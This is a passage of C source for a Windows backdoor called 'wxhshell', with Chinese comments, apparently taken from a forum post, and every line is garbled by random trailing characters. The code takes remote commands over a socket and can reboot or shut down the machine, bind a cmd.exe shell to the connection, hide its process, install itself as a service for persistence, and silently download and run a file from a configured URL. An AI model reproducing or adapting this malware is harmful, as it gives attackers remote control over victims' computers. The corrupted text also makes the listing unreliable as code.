      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >\K=)/W2  
    break; x=H{Rv  
  } 5:r AWq  
  // 安装 /}1|'?P  
  case 'i': { z9 0JZA  
    if(Install()) P DY :?/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ar\fA)UQ`  
    else *m]Y6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {*;8`+R&  
    break; K\ Wzh;  
    } 29grbP  
  // 卸载  B=*0  
  case 'r': { IiniaVuQ  
    if(Uninstall()) <%.%q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); te[uAJ1 N  
    else O^\:J 2I(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4Yvz-aSyO  
    break; q+[ )i6!?  
    } 3~fi#{  
  // 显示 wxhshell 所在路径 K3vZ42n  
  case 'p': { SOG(&)b  
    char svExeFile[MAX_PATH]; h<LS`$PK;E  
    strcpy(svExeFile,"\n\r"); !Fs$W  
      strcat(svExeFile,ExeFile); UA'bE~i  
        send(wsh,svExeFile,strlen(svExeFile),0); a)W|gx6Y  
    break; dlvU=^G#G  
    } >&HW6 c  
  // 重启 l'm|**  
  case 'b': { `=;}I@]zj)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); f~l pa7  
    if(Boot(REBOOT)) N^B7<~ bD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _t,aPowX  
    else { (@N ILK  
    closesocket(wsh); ps:"0^7  
    ExitThread(0); ;m] nl_vg  
    } ,(oolx"Xa  
    break; PJ:!O?KVq  
    } v1i-O'  
  // 关机 A ___| #R  
  case 'd': { IJ+}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7_36xpw  
    if(Boot(SHUTDOWN)) enxb pq#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B{0]v-w  
    else { P_jav 0j7g  
    closesocket(wsh); :BR_%$  
    ExitThread(0); "&XhMw4  
    } V*JqC  
    break; LV9R ]  
    } 3W ]zLUn  
  // 获取shell @rqmDpU  
  case 's': { @Wd (>*"zw  
    CmdShell(wsh); {pi_yr3  
    closesocket(wsh); p".wqg*W  
    ExitThread(0); q%k&O9C2]  
    break; 8T.bT6  
  } C&@'oLr  
  // 退出 1LFad>`  
  case 'x': { 'H`:c+KDG`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); w9u|E46  
    CloseIt(wsh); ,c&t#mu*0  
    break; K_t >T)K  
    } :xmj42w>^  
  // 离开 oGZuYpa9  
  case 'q': { > mCH!ey  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `"'u mIz  
    closesocket(wsh); Uun0FCA>  
    WSACleanup(); 5KbPpKpd  
    exit(1); u*qI$?&  
    break; N:'GNMu  
        } Ht43G_.j  
  } 3 P75:v  
  } e6J>qwD?  
N?S;v&q+  
  // 提示信息 \ eba9i^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5`}za-  
} qoT&N,/  
  } hX,RuI  
3y$6}Kp4?  
  return; ]n@T5*=  
} }VWUcALJV  
X?ZLmP7|  
// shell模块句柄 US's`Ehx  
int CmdShell(SOCKET sock) *>2FcoN;  
{ _lT'nFe =Q  
STARTUPINFO si; X%99@qv  
ZeroMemory(&si,sizeof(si)); "IpbR  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *E>R1bJ8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; g>7i2  
PROCESS_INFORMATION ProcessInfo; }/tf^@  
char cmdline[]="cmd"; 2>.b~q@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); mo tW7|p.e  
  return 0; ZLVgK@l  
} "7fEL:|j  
sm?b,T/  
// 自身启动模式 M4;M.zxJv  
int StartFromService(void) F;/^5T3wI  
{ fGH)Fgo`  
typedef struct #u"@q< )  
{ FP y}Wc*UA  
  DWORD ExitStatus; 6]GHCyo  
  DWORD PebBaseAddress; st.{AEv@  
  DWORD AffinityMask; (-;(wCEE  
  DWORD BasePriority; L>Ze*dt  
  ULONG UniqueProcessId; "`S?q G  
  ULONG InheritedFromUniqueProcessId; toj5b;+4F  
}   PROCESS_BASIC_INFORMATION; vG)B}`M  
04-@c  
PROCNTQSIP NtQueryInformationProcess; jpXbFWgN  
9!r0uU"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f;+.j/ +  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]4')H;'y  
RV]QVA*i  
  HANDLE             hProcess; U![$7k>,pr  
  PROCESS_BASIC_INFORMATION pbi; Dbx zqd  
n0K+/}m  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); J_XkQR[Y  
  if(NULL == hInst ) return 0; B1I{@\z0G  
@yQ1F> t  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); xU{0rM"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,'<NyA><  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); U0|bKU  
#PC*l\ )  
  if (!NtQueryInformationProcess) return 0; ())_4 <  
!Dc;R+Ir0!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); I"8Z'<|/\q  
  if(!hProcess) return 0; Uw5&.aqn.b  
BTO l`U  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; lR F5/  
+wHa)A0MW  
  CloseHandle(hProcess); bF;|0X$ x  
4v(?]]X  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); a~!7A ZT-O  
if(hProcess==NULL) return 0; Mu.oqT  
9)[)0 7  
HMODULE hMod; .W9 *-  
char procName[255]; P uQ  
unsigned long cbNeeded; U5F1m]gFr  
9N2.:<so  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); N!tNRMTi  
AjO{c=d  
  CloseHandle(hProcess); 64y9.PY  
gC%$)4-:  
if(strstr(procName,"services")) return 1; // 以服务启动 cdI"=B+C\  
c>r~pY~$  
  return 0; // 注册表启动 b; vVlIG  
} 2>J;P C[;  
XfEp_.~JM  
// 主模块 y+7+({w<  
int StartWxhshell(LPSTR lpCmdLine) i$:yq.DW  
{ fI.X5c>WK  
  SOCKET wsl; a>ye  
BOOL val=TRUE; |1<B(iB'{/  
  int port=0; HFYe@2r  
  struct sockaddr_in door; RN&8dsreZp  
z>=;Xe8P8n  
  if(wscfg.ws_autoins) Install(); sUk n.g!  
W=#jtU`:5  
port=atoi(lpCmdLine); gId :IR  
'Vhnio;qC  
if(port<=0) port=wscfg.ws_port; 8[ ZuVJ]  
) 5x$J01S  
  WSADATA data; fkk9&QB%(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; iP9Dr<P  
Y{t}sO%A  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   e-xT.RnQ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); AXo)(\  
  door.sin_family = AF_INET; @P=n{-pIW  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6@d/k.3p  
  door.sin_port = htons(port); Y'}c$*OkI  
:4\_upRE  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { h7xgLe@  
closesocket(wsl); qr*e9Uk^  
return 1; y#O/Xw  
} 'I[xZu/8yg  
^R+CkF4l l  
  if(listen(wsl,2) == INVALID_SOCKET) { ZxDh! _[s  
closesocket(wsl); `"xzC $  
return 1; '81Rwp  
} t?;=\%^<  
  Wxhshell(wsl); sI#h&V,9  
  WSACleanup(); gaU^l73 ,C  
I'<sJs*p  
return 0; 5mZ9rLn  
CWD $\K G  
} sI4 FgO  
)%: W;H  
// 以NT服务方式启动 kWbY&]ZO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (5RZLRn  
{ &k(tDP  
DWORD   status = 0;  |>Pv2  
  DWORD   specificError = 0xfffffff; %P *b&H^0  
sBE@{w%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; E /ycPqD  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; CF+:v(NL  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; X`]>J5  
  serviceStatus.dwWin32ExitCode     = 0; zHW&i~  
  serviceStatus.dwServiceSpecificExitCode = 0; wA87|YK8*  
  serviceStatus.dwCheckPoint       = 0; K=P LOC5  
  serviceStatus.dwWaitHint       = 0; Ml_!)b  
(d[JMO^@8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); E/d\ebX|  
  if (hServiceStatusHandle==0) return; Hjy4tA7,l  
xf qu=z8X  
status = GetLastError(); ,`$2  
  if (status!=NO_ERROR) q}&+{dN\1  
{ 25;`yB$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; L$ju~0jl)%  
    serviceStatus.dwCheckPoint       = 0; DVBsRV)/  
    serviceStatus.dwWaitHint       = 0; N VDvd6  
    serviceStatus.dwWin32ExitCode     = status; gg Hl{cl)  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6U] "i  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); n+'s9  
    return; t.7_7`bin~  
  } $bk_%R}s  
A&Q!W)=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ez>!%Hpn\  
  serviceStatus.dwCheckPoint       = 0; <FvljKuq+  
  serviceStatus.dwWaitHint       = 0;  8KzH -  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _<)HFg6  
} =?hbi]  
H|cxy?iJ  
// 处理NT服务事件,比如:启动、停止 1a#R7chl  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~HBx5Cpi  
{ %bhFl,tL  
switch(fdwControl) >>>MTV f  
{ ,0n=*o@W  
case SERVICE_CONTROL_STOP: u z:@  
  serviceStatus.dwWin32ExitCode = 0; )Mw 3ZE92  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7$:Jea  
  serviceStatus.dwCheckPoint   = 0; MV?sr[V-oP  
  serviceStatus.dwWaitHint     = 0; +AOpB L'  
  { <)gTi759h)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); & y7~  
  } dQAo~] B  
  return; M[&p[P@  
case SERVICE_CONTROL_PAUSE: \j vS`+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3,@|kN<  
  break; Z ^yn S  
case SERVICE_CONTROL_CONTINUE: R)GDsgXy  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; gL wNHS  
  break; .wuRT>4G)G  
case SERVICE_CONTROL_INTERROGATE: 7"k\i=  
  break; I#CS;Yh95  
}; N*Xl0m(Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A)f/ww)Q  
} 1h?:gOig  
A) TO<dl  
// 标准应用程序主函数 }ev+WIERQV  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (/J %Huy  
{ 9OM&&Ue<E  
'i8?]` T  
// 获取操作系统版本 4"V6k4i5  
OsIsNt=GetOsVer(); S)A;!}RK6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ns[.guWu-  
%VgK::)r  
  // 从命令行安装 d#HN '(2t  
  if(strpbrk(lpCmdLine,"iI")) Install(); JU-eoB}m  
bg,VK1  
  // 下载执行文件 l8N5}!N  
if(wscfg.ws_downexe) { x>[ gShAV!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) A@I3:V  
  WinExec(wscfg.ws_filenam,SW_HIDE); rj;~SC{  
} `AELe_  
8"x\kSMb  
if(!OsIsNt) { h,2?+}Fn  
// 如果时win9x,隐藏进程并且设置为注册表启动 1.z !u%2  
HideProc(); Qkg([q4  
StartWxhshell(lpCmdLine); d/Fy0=0  
} )$E'2|Gm/  
else xh!aB6m8R  
  if(StartFromService()) L(kW]  
  // 以服务方式启动 cN#f$  
  StartServiceCtrlDispatcher(DispatchTable); 9B1bq#  
else [AAIBb +U  
  // 普通方式启动 @S  Quc  
  StartWxhshell(lpCmdLine); 2v1dSdX,W  
6Nz S<  
return 0; #4?:4Im#  
}
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只看该作者 1 发表于: 2006-10-10
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